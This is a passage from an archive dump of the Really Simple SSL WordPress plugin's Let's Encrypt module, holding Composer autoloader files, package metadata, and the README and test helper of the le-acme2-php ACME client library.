		 * @param string $field_id
		 * @param mixed $field_value
		 * @param mixed $prev_value
		 * @param string $type
		 */

		public function after_save_field( $field_id, $field_value, $prev_value, $type ) {
			//only run when changes have been made
			if ( $field_value === $prev_value ) {
				return;
			}

			if ( $field_id==='other_host_type'){
			    if ( isset(RSSSL_LE()->hosts->hosts[$field_value]) ){
			        $dashboard = RSSSL_LE()->hosts->hosts[$field_value]['hosting_dashboard'];
			        update_option('rsssl_hosting_dashboard', $dashboard, false);
                } else {
				    update_option('rsssl_hosting_dashboard', false, false);
                }
            }

			if ( $field_id === 'email_address'&& is_email($field_value) ) {
				RSSSL_LE()->letsencrypt_handler->update_account($field_value);
			}

		}

	}


} //class closure
really-simple-ssl/lets-encrypt/vendor/composer/installed.json000064400000007606147510273070020570 0ustar00{
    "packages": [
        {
            "name": "fbett/le_acme2",
            "version": "1.5.6",
            "version_normalized": "1.5.6.0",
            "source": {
                "type": "git",
                "url": "https://github.com/fbett/le-acme2-php.git",
                "reference": "26b2c421764b173326f6bcb0713a86bd614f77fa"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/fbett/le-acme2-php/zipball/26b2c421764b173326f6bcb0713a86bd614f77fa",
                "reference": "26b2c421764b173326f6bcb0713a86bd614f77fa",
                "shasum": ""
            },
            "require": {
                "ext-curl": "*",
                "ext-json": "*",
                "ext-openssl": "*",
                "php": ">=7.3"
            },
            "time": "2021-05-17T07:08:46+00:00",
            "type": "library",
            "installation-source": "dist",
            "autoload": {
                "psr-0": {
                    "LE_ACME2": "src/"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "MIT"
            ],
            "authors": [
                {
                    "name": "Fabian Bett",
                    "homepage": "https://www.bett-ingenieure.de",
                    "role": "Developer"
                }
            ],
            "description": "Letsencrypt PHP ACME v2 client",
            "homepage": "https://github.com/fbett/le-acme2-php",
            "support": {
                "issues": "https://github.com/fbett/le-acme2-php/issues",
                "source": "https://github.com/fbett/le-acme2-php/tree/v1.5.6"
            },
            "install-path": "../fbett/le_acme2"
        },
        {
            "name": "plesk/api-php-lib",
            "version": "v1.0.7",
            "version_normalized": "1.0.7.0",
            "source": {
                "type": "git",
                "url": "https://github.com/plesk/api-php-lib.git",
                "reference": "7f81b0c3bb0a9f4200aef62a54d3e2c04d91a605"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/plesk/api-php-lib/zipball/7f81b0c3bb0a9f4200aef62a54d3e2c04d91a605",
                "reference": "7f81b0c3bb0a9f4200aef62a54d3e2c04d91a605",
                "shasum": ""
            },
            "require": {
                "ext-curl": "*",
                "ext-simplexml": "*",
                "ext-xml": "*",
                "php": "^7.3"
            },
            "require-dev": {
                "phpunit/phpunit": "^9",
                "spatie/phpunit-watcher": "^1.22"
            },
            "time": "2020-12-24T07:20:26+00:00",
            "type": "library",
            "extra": {
                "branch-alias": {
                    "dev-master": "2.0.x-dev"
                }
            },
            "installation-source": "dist",
            "autoload": {
                "psr-4": {
                    "PleskX\\": "src/"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "Apache-2.0"
            ],
            "authors": [
                {
                    "name": "Alexei Yuzhakov",
                    "email": "sibprogrammer@gmail.com"
                },
                {
                    "name": "Plesk International GmbH.",
                    "email": "plesk-dev-leads@plesk.com"
                }
            ],
            "description": "PHP object-oriented library for Plesk XML-RPC API",
            "support": {
                "issues": "https://github.com/plesk/api-php-lib/issues",
                "source": "https://github.com/plesk/api-php-lib/tree/v1.0.7"
            },
            "install-path": "../plesk/api-php-lib"
        }
    ],
    "dev": true,
    "dev-package-names": []
}
really-simple-ssl/lets-encrypt/vendor/composer/installed.php000064400000001650147510273070020377 0ustar00<?php return array (
  'root' => 
  array (
    'pretty_version' => 'dev-master',
    'version' => 'dev-master',
    'aliases' => 
    array (
    ),
    'reference' => '53cfe01c831d81b1398d479a9e85cbb4110e9e13',
    'name' => '__root__',
  ),
  'versions' => 
  array (
    '__root__' => 
    array (
      'pretty_version' => 'dev-master',
      'version' => 'dev-master',
      'aliases' => 
      array (
      ),
      'reference' => '53cfe01c831d81b1398d479a9e85cbb4110e9e13',
    ),
    'fbett/le_acme2' => 
    array (
      'pretty_version' => '1.5.6',
      'version' => '1.5.6.0',
      'aliases' => 
      array (
      ),
      'reference' => '26b2c421764b173326f6bcb0713a86bd614f77fa',
    ),
    'plesk/api-php-lib' => 
    array (
      'pretty_version' => 'v1.0.7',
      'version' => '1.0.7.0',
      'aliases' => 
      array (
      ),
      'reference' => '7f81b0c3bb0a9f4200aef62a54d3e2c04d91a605',
    ),
  ),
);
really-simple-ssl/lets-encrypt/vendor/composer/autoload_psr4.php000064400000000317147510273070021177 0ustar00<?php

// autoload_psr4.php @generated by Composer

$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname($vendorDir);

return array(
    'PleskX\\' => array($vendorDir . '/plesk/api-php-lib/src'),
);
really-simple-ssl/lets-encrypt/vendor/composer/autoload_static.php000064400000002546147510273070021604 0ustar00<?php

// autoload_static.php @generated by Composer

namespace Composer\Autoload;

class ComposerStaticInita8412ede23fd11b4d0e29303fdebd5f4
{
    public static $prefixLengthsPsr4 = array (
        'P' => 
        array (
            'PleskX\\' => 7,
        ),
    );

    public static $prefixDirsPsr4 = array (
        'PleskX\\' => 
        array (
            0 => __DIR__ . '/..' . '/plesk/api-php-lib/src',
        ),
    );

    public static $prefixesPsr0 = array (
        'L' => 
        array (
            'LE_ACME2' => 
            array (
                0 => __DIR__ . '/..' . '/fbett/le_acme2/src',
            ),
        ),
    );

    public static $classMap = array (
        'Composer\\InstalledVersions' => __DIR__ . '/..' . '/composer/InstalledVersions.php',
    );

    public static function getInitializer(ClassLoader $loader)
    {
        return \Closure::bind(function () use ($loader) {
            $loader->prefixLengthsPsr4 = ComposerStaticInita8412ede23fd11b4d0e29303fdebd5f4::$prefixLengthsPsr4;
            $loader->prefixDirsPsr4 = ComposerStaticInita8412ede23fd11b4d0e29303fdebd5f4::$prefixDirsPsr4;
            $loader->prefixesPsr0 = ComposerStaticInita8412ede23fd11b4d0e29303fdebd5f4::$prefixesPsr0;
            $loader->classMap = ComposerStaticInita8412ede23fd11b4d0e29303fdebd5f4::$classMap;

        }, null, ClassLoader::class);
    }
}
really-simple-ssl/lets-encrypt/vendor/composer/autoload_real.php000064400000003551147510273070021235 0ustar00<?php

// autoload_real.php @generated by Composer

class ComposerAutoloaderInita8412ede23fd11b4d0e29303fdebd5f4
{
    private static $loader;

    public static function loadClassLoader($class)
    {
        if ('Composer\Autoload\ClassLoader' === $class) {
            require __DIR__ . '/ClassLoader.php';
        }
    }

    /**
     * @return \Composer\Autoload\ClassLoader
     */
    public static function getLoader()
    {
        if (null !== self::$loader) {
            return self::$loader;
        }

        require __DIR__ . '/platform_check.php';

        spl_autoload_register(array('ComposerAutoloaderInita8412ede23fd11b4d0e29303fdebd5f4', 'loadClassLoader'), true, true);
        self::$loader = $loader = new \Composer\Autoload\ClassLoader(\dirname(\dirname(__FILE__)));
        spl_autoload_unregister(array('ComposerAutoloaderInita8412ede23fd11b4d0e29303fdebd5f4', 'loadClassLoader'));

        $useStaticLoader = PHP_VERSION_ID >= 50600 && !defined('HHVM_VERSION') && (!function_exists('zend_loader_file_encoded') || !zend_loader_file_encoded());
        if ($useStaticLoader) {
            require __DIR__ . '/autoload_static.php';

            call_user_func(\Composer\Autoload\ComposerStaticInita8412ede23fd11b4d0e29303fdebd5f4::getInitializer($loader));
        } else {
            $map = require __DIR__ . '/autoload_namespaces.php';
            foreach ($map as $namespace => $path) {
                $loader->set($namespace, $path);
            }

            $map = require __DIR__ . '/autoload_psr4.php';
            foreach ($map as $namespace => $path) {
                $loader->setPsr4($namespace, $path);
            }

            $classMap = require __DIR__ . '/autoload_classmap.php';
            if ($classMap) {
                $loader->addClassMap($classMap);
            }
        }

        $loader->register(true);

        return $loader;
    }
}
really-simple-ssl/lets-encrypt/vendor/composer/autoload_namespaces.php000064400000000322147510273070022422 0ustar00<?php

// autoload_namespaces.php @generated by Composer

$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname($vendorDir);

return array(
    'LE_ACME2' => array($vendorDir . '/fbett/le_acme2/src'),
);
really-simple-ssl/lets-encrypt/vendor/composer/ClassLoader.php000064400000034037147510273070020621 0ustar00<?php

/*
 * This file is part of Composer.
 *
 * (c) Nils Adermann <naderman@naderman.de>
 *     Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Composer\Autoload;

/**
 * ClassLoader implements a PSR-0, PSR-4 and classmap class loader.
 *
 *     $loader = new \Composer\Autoload\ClassLoader();
 *
 *     // register classes with namespaces
 *     $loader->add('Symfony\Component', __DIR__.'/component');
 *     $loader->add('Symfony',           __DIR__.'/framework');
 *
 *     // activate the autoloader
 *     $loader->register();
 *
 *     // to enable searching the include path (eg. for PEAR packages)
 *     $loader->setUseIncludePath(true);
 *
 * In this example, if you try to use a class in the Symfony\Component
 * namespace or one of its children (Symfony\Component\Console for instance),
 * the autoloader will first look for the class under the component/
 * directory, and it will then fallback to the framework/ directory if not
 * found before giving up.
 *
 * This class is loosely based on the Symfony UniversalClassLoader.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 * @author Jordi Boggiano <j.boggiano@seld.be>
 * @see    https://www.php-fig.org/psr/psr-0/
 * @see    https://www.php-fig.org/psr/psr-4/
 */
class ClassLoader
{
    private $vendorDir;

    // PSR-4
    private $prefixLengthsPsr4 = array();
    private $prefixDirsPsr4 = array();
    private $fallbackDirsPsr4 = array();

    // PSR-0
    private $prefixesPsr0 = array();
    private $fallbackDirsPsr0 = array();

    private $useIncludePath = false;
    private $classMap = array();
    private $classMapAuthoritative = false;
    private $missingClasses = array();
    private $apcuPrefix;

    private static $registeredLoaders = array();

    public function __construct($vendorDir = null)
    {
        $this->vendorDir = $vendorDir;
    }

    public function getPrefixes()
    {
        if (!empty($this->prefixesPsr0)) {
            return call_user_func_array('array_merge', array_values($this->prefixesPsr0));
        }

        return array();
    }

    public function getPrefixesPsr4()
    {
        return $this->prefixDirsPsr4;
    }

    public function getFallbackDirs()
    {
        return $this->fallbackDirsPsr0;
    }

    public function getFallbackDirsPsr4()
    {
        return $this->fallbackDirsPsr4;
    }

    public function getClassMap()
    {
        return $this->classMap;
    }

    /**
     * @param array $classMap Class to filename map
     */
    public function addClassMap(array $classMap)
    {
        if ($this->classMap) {
            $this->classMap = array_merge($this->classMap, $classMap);
        } else {
            $this->classMap = $classMap;
        }
    }

    /**
     * Registers a set of PSR-0 directories for a given prefix, either
     * appending or prepending to the ones previously set for this prefix.
     *
     * @param string       $prefix  The prefix
     * @param array|string $paths   The PSR-0 root directories
     * @param bool         $prepend Whether to prepend the directories
     */
    public function add($prefix, $paths, $prepend = false)
    {
        if (!$prefix) {
            if ($prepend) {
                $this->fallbackDirsPsr0 = array_merge(
                    (array) $paths,
                    $this->fallbackDirsPsr0
                );
            } else {
                $this->fallbackDirsPsr0 = array_merge(
                    $this->fallbackDirsPsr0,
                    (array) $paths
                );
            }

            return;
        }

        $first = $prefix[0];
        if (!isset($this->prefixesPsr0[$first][$prefix])) {
            $this->prefixesPsr0[$first][$prefix] = (array) $paths;

            return;
        }
        if ($prepend) {
            $this->prefixesPsr0[$first][$prefix] = array_merge(
                (array) $paths,
                $this->prefixesPsr0[$first][$prefix]
            );
        } else {
            $this->prefixesPsr0[$first][$prefix] = array_merge(
                $this->prefixesPsr0[$first][$prefix],
                (array) $paths
            );
        }
    }

    /**
     * Registers a set of PSR-4 directories for a given namespace, either
     * appending or prepending to the ones previously set for this namespace.
     *
     * @param string       $prefix  The prefix/namespace, with trailing '\\'
     * @param array|string $paths   The PSR-4 base directories
     * @param bool         $prepend Whether to prepend the directories
     *
     * @throws \InvalidArgumentException
     */
    public function addPsr4($prefix, $paths, $prepend = false)
    {
        if (!$prefix) {
            // Register directories for the root namespace.
            if ($prepend) {
                $this->fallbackDirsPsr4 = array_merge(
                    (array) $paths,
                    $this->fallbackDirsPsr4
                );
            } else {
                $this->fallbackDirsPsr4 = array_merge(
                    $this->fallbackDirsPsr4,
                    (array) $paths
                );
            }
        } elseif (!isset($this->prefixDirsPsr4[$prefix])) {
            // Register directories for a new namespace.
            $length = strlen($prefix);
            if ('\\' !== $prefix[$length - 1]) {
                throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
            }
            $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
            $this->prefixDirsPsr4[$prefix] = (array) $paths;
        } elseif ($prepend) {
            // Prepend directories for an already registered namespace.
            $this->prefixDirsPsr4[$prefix] = array_merge(
                (array) $paths,
                $this->prefixDirsPsr4[$prefix]
            );
        } else {
            // Append directories for an already registered namespace.
            $this->prefixDirsPsr4[$prefix] = array_merge(
                $this->prefixDirsPsr4[$prefix],
                (array) $paths
            );
        }
    }

    /**
     * Registers a set of PSR-0 directories for a given prefix,
     * replacing any others previously set for this prefix.
     *
     * @param string       $prefix The prefix
     * @param array|string $paths  The PSR-0 base directories
     */
    public function set($prefix, $paths)
    {
        if (!$prefix) {
            $this->fallbackDirsPsr0 = (array) $paths;
        } else {
            $this->prefixesPsr0[$prefix[0]][$prefix] = (array) $paths;
        }
    }

    /**
     * Registers a set of PSR-4 directories for a given namespace,
     * replacing any others previously set for this namespace.
     *
     * @param string       $prefix The prefix/namespace, with trailing '\\'
     * @param array|string $paths  The PSR-4 base directories
     *
     * @throws \InvalidArgumentException
     */
    public function setPsr4($prefix, $paths)
    {
        if (!$prefix) {
            $this->fallbackDirsPsr4 = (array) $paths;
        } else {
            $length = strlen($prefix);
            if ('\\' !== $prefix[$length - 1]) {
                throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
            }
            $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
            $this->prefixDirsPsr4[$prefix] = (array) $paths;
        }
    }

    /**
     * Turns on searching the include path for class files.
     *
     * @param bool $useIncludePath
     */
    public function setUseIncludePath($useIncludePath)
    {
        $this->useIncludePath = $useIncludePath;
    }

    /**
     * Can be used to check if the autoloader uses the include path to check
     * for classes.
     *
     * @return bool
     */
    public function getUseIncludePath()
    {
        return $this->useIncludePath;
    }

    /**
     * Turns off searching the prefix and fallback directories for classes
     * that have not been registered with the class map.
     *
     * @param bool $classMapAuthoritative
     */
    public function setClassMapAuthoritative($classMapAuthoritative)
    {
        $this->classMapAuthoritative = $classMapAuthoritative;
    }

    /**
     * Should class lookup fail if not found in the current class map?
     *
     * @return bool
     */
    public function isClassMapAuthoritative()
    {
        return $this->classMapAuthoritative;
    }

    /**
     * APCu prefix to use to cache found/not-found classes, if the extension is enabled.
     *
     * @param string|null $apcuPrefix
     */
    public function setApcuPrefix($apcuPrefix)
    {
        $this->apcuPrefix = function_exists('apcu_fetch') && filter_var(ini_get('apc.enabled'), FILTER_VALIDATE_BOOLEAN) ? $apcuPrefix : null;
    }

    /**
     * The APCu prefix in use, or null if APCu caching is not enabled.
     *
     * @return string|null
     */
    public function getApcuPrefix()
    {
        return $this->apcuPrefix;
    }

    /**
     * Registers this instance as an autoloader.
     *
     * @param bool $prepend Whether to prepend the autoloader or not
     */
    public function register($prepend = false)
    {
        spl_autoload_register(array($this, 'loadClass'), true, $prepend);

        if (null === $this->vendorDir) {
            return;
        }

        if ($prepend) {
            self::$registeredLoaders = array($this->vendorDir => $this) + self::$registeredLoaders;
        } else {
            unset(self::$registeredLoaders[$this->vendorDir]);
            self::$registeredLoaders[$this->vendorDir] = $this;
        }
    }

    /**
     * Unregisters this instance as an autoloader.
     */
    public function unregister()
    {
        spl_autoload_unregister(array($this, 'loadClass'));

        if (null !== $this->vendorDir) {
            unset(self::$registeredLoaders[$this->vendorDir]);
        }
    }

    /**
     * Loads the given class or interface.
     *
     * @param  string    $class The name of the class
     * @return bool|null True if loaded, null otherwise
     */
    public function loadClass($class)
    {
        if ($file = $this->findFile($class)) {
            includeFile($file);

            return true;
        }
    }

    /**
     * Finds the path to the file where the class is defined.
     *
     * @param string $class The name of the class
     *
     * @return string|false The path if found, false otherwise
     */
    public function findFile($class)
    {
        // class map lookup
        if (isset($this->classMap[$class])) {
            return $this->classMap[$class];
        }
        if ($this->classMapAuthoritative || isset($this->missingClasses[$class])) {
            return false;
        }
        if (null !== $this->apcuPrefix) {
            $file = apcu_fetch($this->apcuPrefix.$class, $hit);
            if ($hit) {
                return $file;
            }
        }

        $file = $this->findFileWithExtension($class, '.php');

        // Search for Hack files if we are running on HHVM
        if (false === $file && defined('HHVM_VERSION')) {
            $file = $this->findFileWithExtension($class, '.hh');
        }

        if (null !== $this->apcuPrefix) {
            apcu_add($this->apcuPrefix.$class, $file);
        }

        if (false === $file) {
            // Remember that this class does not exist.
            $this->missingClasses[$class] = true;
        }

        return $file;
    }

    /**
     * Returns the currently registered loaders indexed by their corresponding vendor directories.
     *
     * @return self[]
     */
    public static function getRegisteredLoaders()
    {
        return self::$registeredLoaders;
    }

    private function findFileWithExtension($class, $ext)
    {
        // PSR-4 lookup
        $logicalPathPsr4 = strtr($class, '\\', DIRECTORY_SEPARATOR) . $ext;

        $first = $class[0];
        if (isset($this->prefixLengthsPsr4[$first])) {
            $subPath = $class;
            while (false !== $lastPos = strrpos($subPath, '\\')) {
                $subPath = substr($subPath, 0, $lastPos);
                $search = $subPath . '\\';
                if (isset($this->prefixDirsPsr4[$search])) {
                    $pathEnd = DIRECTORY_SEPARATOR . substr($logicalPathPsr4, $lastPos + 1);
                    foreach ($this->prefixDirsPsr4[$search] as $dir) {
                        if (file_exists($file = $dir . $pathEnd)) {
                            return $file;
                        }
                    }
                }
            }
        }

        // PSR-4 fallback dirs
        foreach ($this->fallbackDirsPsr4 as $dir) {
            if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr4)) {
                return $file;
            }
        }

        // PSR-0 lookup
        if (false !== $pos = strrpos($class, '\\')) {
            // namespaced class name
            $logicalPathPsr0 = substr($logicalPathPsr4, 0, $pos + 1)
                . strtr(substr($logicalPathPsr4, $pos + 1), '_', DIRECTORY_SEPARATOR);
        } else {
            // PEAR-like class name
            $logicalPathPsr0 = strtr($class, '_', DIRECTORY_SEPARATOR) . $ext;
        }

        if (isset($this->prefixesPsr0[$first])) {
            foreach ($this->prefixesPsr0[$first] as $prefix => $dirs) {
                if (0 === strpos($class, $prefix)) {
                    foreach ($dirs as $dir) {
                        if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) {
                            return $file;
                        }
                    }
                }
            }
        }

        // PSR-0 fallback dirs
        foreach ($this->fallbackDirsPsr0 as $dir) {
            if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) {
                return $file;
            }
        }

        // PSR-0 include paths.
        if ($this->useIncludePath && $file = stream_resolve_include_path($logicalPathPsr0)) {
            return $file;
        }

        return false;
    }
}

/**
 * Scope isolated include.
 *
 * Prevents access to $this/self from included files.
 */
function includeFile($file)
{
    include $file;
}
really-simple-ssl/lets-encrypt/vendor/composer/index.php000064400000000043147510273070017522 0ustar00<?php // You don't belong here. ?>
really-simple-ssl/lets-encrypt/vendor/composer/LICENSE000064400000002056147510273070016715 0ustar00
Copyright (c) Nils Adermann, Jordi Boggiano

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is furnished
to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.

really-simple-ssl/lets-encrypt/vendor/composer/platform_check.php000064400000001635147510273070021404 0ustar00<?php

// platform_check.php @generated by Composer

$issues = array();

if (!(PHP_VERSION_ID >= 70100)) {
    $issues[] = 'Your Composer dependencies require a PHP version ">= 7.1.0". You are running ' . PHP_VERSION . '.';
}

if ($issues) {
    if (!headers_sent()) {
        header('HTTP/1.1 500 Internal Server Error');
    }
    if (!ini_get('display_errors')) {
        if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') {
            fwrite(STDERR, 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . implode(PHP_EOL, $issues) . PHP_EOL.PHP_EOL);
        } elseif (!headers_sent()) {
            echo 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . str_replace('You are running '.PHP_VERSION.'.', '', implode(PHP_EOL, $issues)) . PHP_EOL.PHP_EOL;
        }
    }
    trigger_error(
        'Composer detected issues in your platform: ' . implode(' ', $issues),
        E_USER_ERROR
    );
}
really-simple-ssl/lets-encrypt/vendor/composer/InstalledVersions.php000064400000011632147510273070022071 0ustar00<?php











namespace Composer;

use Composer\Autoload\ClassLoader;
use Composer\Semver\VersionParser;








class InstalledVersions
{
private static $installed = array (
  'root' => 
  array (
    'pretty_version' => 'dev-master',
    'version' => 'dev-master',
    'aliases' => 
    array (
    ),
    'reference' => '53cfe01c831d81b1398d479a9e85cbb4110e9e13',
    'name' => '__root__',
  ),
  'versions' => 
  array (
    '__root__' => 
    array (
      'pretty_version' => 'dev-master',
      'version' => 'dev-master',
      'aliases' => 
      array (
      ),
      'reference' => '53cfe01c831d81b1398d479a9e85cbb4110e9e13',
    ),
    'fbett/le_acme2' => 
    array (
      'pretty_version' => '1.5.6',
      'version' => '1.5.6.0',
      'aliases' => 
      array (
      ),
      'reference' => '26b2c421764b173326f6bcb0713a86bd614f77fa',
    ),
    'plesk/api-php-lib' => 
    array (
      'pretty_version' => 'v1.0.7',
      'version' => '1.0.7.0',
      'aliases' => 
      array (
      ),
      'reference' => '7f81b0c3bb0a9f4200aef62a54d3e2c04d91a605',
    ),
  ),
);
private static $canGetVendors;
private static $installedByVendor = array();







public static function getInstalledPackages()
{
$packages = array();
foreach (self::getInstalled() as $installed) {
$packages[] = array_keys($installed['versions']);
}

if (1 === \count($packages)) {
return $packages[0];
}

return array_keys(array_flip(\call_user_func_array('array_merge', $packages)));
}









public static function isInstalled($packageName)
{
foreach (self::getInstalled() as $installed) {
if (isset($installed['versions'][$packageName])) {
return true;
}
}

return false;
}














public static function satisfies(VersionParser $parser, $packageName, $constraint)
{
$constraint = $parser->parseConstraints($constraint);
$provided = $parser->parseConstraints(self::getVersionRanges($packageName));

return $provided->matches($constraint);
}










public static function getVersionRanges($packageName)
{
foreach (self::getInstalled() as $installed) {
if (!isset($installed['versions'][$packageName])) {
continue;
}

$ranges = array();
if (isset($installed['versions'][$packageName]['pretty_version'])) {
$ranges[] = $installed['versions'][$packageName]['pretty_version'];
}
if (array_key_exists('aliases', $installed['versions'][$packageName])) {
$ranges = array_merge($ranges, $installed['versions'][$packageName]['aliases']);
}
if (array_key_exists('replaced', $installed['versions'][$packageName])) {
$ranges = array_merge($ranges, $installed['versions'][$packageName]['replaced']);
}
if (array_key_exists('provided', $installed['versions'][$packageName])) {
$ranges = array_merge($ranges, $installed['versions'][$packageName]['provided']);
}

return implode(' || ', $ranges);
}

throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
}





public static function getVersion($packageName)
{
foreach (self::getInstalled() as $installed) {
if (!isset($installed['versions'][$packageName])) {
continue;
}

if (!isset($installed['versions'][$packageName]['version'])) {
return null;
}

return $installed['versions'][$packageName]['version'];
}

throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
}





public static function getPrettyVersion($packageName)
{
foreach (self::getInstalled() as $installed) {
if (!isset($installed['versions'][$packageName])) {
continue;
}

if (!isset($installed['versions'][$packageName]['pretty_version'])) {
return null;
}

return $installed['versions'][$packageName]['pretty_version'];
}

throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
}





public static function getReference($packageName)
{
foreach (self::getInstalled() as $installed) {
if (!isset($installed['versions'][$packageName])) {
continue;
}

if (!isset($installed['versions'][$packageName]['reference'])) {
return null;
}

return $installed['versions'][$packageName]['reference'];
}

throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
}





public static function getRootPackage()
{
$installed = self::getInstalled();

return $installed[0]['root'];
}







public static function getRawData()
{
return self::$installed;
}



















public static function reload($data)
{
self::$installed = $data;
self::$installedByVendor = array();
}





private static function getInstalled()
{
if (null === self::$canGetVendors) {
self::$canGetVendors = method_exists('Composer\Autoload\ClassLoader', 'getRegisteredLoaders');
}

$installed = array();

if (self::$canGetVendors) {
foreach (ClassLoader::getRegisteredLoaders() as $vendorDir => $loader) {
if (isset(self::$installedByVendor[$vendorDir])) {
$installed[] = self::$installedByVendor[$vendorDir];
} elseif (is_file($vendorDir.'/composer/installed.php')) {
$installed[] = self::$installedByVendor[$vendorDir] = require $vendorDir.'/composer/installed.php';
}
}
}

$installed[] = self::$installed;

return $installed;
}
}
really-simple-ssl/lets-encrypt/vendor/composer/autoload_classmap.php000064400000000350147510273070022107 0ustar00<?php

// autoload_classmap.php @generated by Composer

$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname($vendorDir);

return array(
    'Composer\\InstalledVersions' => $vendorDir . '/composer/InstalledVersions.php',
);
really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/README.md000064400000010431147510273070020107 0ustar00# le-acme2-php
LetsEncrypt client library for ACME v2 written in PHP.

This library is inspired by [yourivw/LEClient](https://github.com/yourivw/LEClient), completely rewritten and enhanced with some new features:
- Support for Composer autoload (including separated Namespaces)
- Automatic renewal process
- Managed HTTP authentication process
- Response caching mechanism
- Prevents blocking while waiting for server results
- Optional certificate feature "OCSP Must-Staple"
- Optional set a preferred chain

The aim of this client is to make an easy-to-use and integrated solution to create a LetsEncrypt-issued SSL/TLS certificate with PHP.

You have the possibility to use the HTTP authentication:
You need to be able to redirect specific requests (see below)

You have also the possibility to use DNS authentication:
You need to be able to set dynamic DNS configurations.

Wildcard certificates can only be requested by using the dns authentication.

## Current version

Tested with LetsEncrypt staging and production servers.

[Transitioning to ISRG's Root](https://letsencrypt.org/2019/04/15/transitioning-to-isrg-root.html):

This library supports it to set a preferred chain in `Order::setPreferredChain($issuerCN))`.

If the preferred chain is not set or set to IdenTrust’s chain, 
this library will try to use the IdenTrust’s chain as long as possible.
Please see: https://letsencrypt.org/docs/dst-root-ca-x3-expiration-september-2021/

## Prerequisites

The minimum required PHP version is 7.3.

This client also depends on cURL and OpenSSL.

## Getting Started

Install via composer:

```
composer require fbett/le_acme2
```

Also have a look at the [LetsEncrypt documentation](https://letsencrypt.org/docs/) for more information and documentation on LetsEncrypt and ACME.

## Example Integration

- Create a working directory. 
Warning: This directory will also include private keys, so i suggest to place this directory somewhere not in the root document path of the web server. 
Additionally this directory should be protected to be read from other web server users.

```
mkdir /etc/ssl/le-storage/
chown root:root /etc/ssl/le-storage
chmod 0600 /etc/ssl/le-storage
```

- (HTTP authorization only) Create a directory for the acme challenges. It must be reachable by http/https.

```
mkdir /var/www/acme-challenges
```

- (HTTP authorization only) Redirect specific requests to your acme-challenges directory

Example apache virtual host configuration:

```
<VirtualHost ...>
    <IfModule mod_rewrite.c>
        RewriteEngine On
        RewriteCond %{HTTPS} off
        RewriteRule \.well-known/acme-challenge/(.*)$ https://your-domain.com/path/to/acme-challenges/$1 [R=302,L]
    </IfModule>
</VirtualHost>
```

- (DNS authorization only) Set the DNS configuration

If `DNSWriter::write(...)` is called, set the DNS configuration like described in:

[https://letsencrypt.org/docs/challenge-types/#dns-01-challenge](https://letsencrypt.org/docs/challenge-types/#dns-01-challenge)

(By adding the digest as a TXT record for the subdomain '_acme-challenge'.)


- Use the certificate bundle, if the certificate is issued:

```
if($order->isCertificateBundleAvailable()) {

    $bundle = $order->getCertificateBundle();
    
    $pathToPrivateKey = $bundle->path . $bundle->private;
    $pathToCertificate = $bundle->path . $bundle->certificate;
    $pathToIntermediate = $bundle->path . $bundle->intermediate;
    
    $order->enableAutoRenewal(); // If the date of expiration is closer than thirty days, the order will automatically start the renewal process.
}
```

If a certificate is renewed, the path will also change. 

My integrated workflow is the following:
- User enables SSL to a specific domain in my control panel
- The cronjob of this control panel will detect these changes and tries to create or get an order like in the sample.
- The cronjob will fetch the information within the certificate bundle, if the certificate bundle is ready (mostly on the second run for challenge type HTTP and on the third run for challenge type DNS)
- The cronjob will also build the Apache virtual host files and will restart the Apache2 service, if the new config file is different.

Please take a look on the Samples for a full sample workflow.

## License

This project is licensed under the MIT License - see the [LICENSE.md](LICENSE.md) file for details.
really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2Tests/TestHelper.php000064400000001776147510273070024415 0ustar00<?php
namespace LE_ACME2Tests;
defined('ABSPATH') or die();

use LE_ACME2\SingletonTrait;

class TestHelper {

    private $_tempPath;
    private $_nonExistingPath;

    use SingletonTrait;

    private function __construct() {

        $projectPath = realpath($_SERVER[ 'PWD' ]) . '/';
        $this->_tempPath = $projectPath . 'temp/';
        if( !file_exists($this->_tempPath) ) {
            mkdir($this->_tempPath);
        }

        $this->_nonExistingPath = $this->getTempPath() . 'should-not-exist/';
    }

    public function getTempPath() : string {
        return $this->_tempPath;
    }

    public function getNonExistingPath() : string {
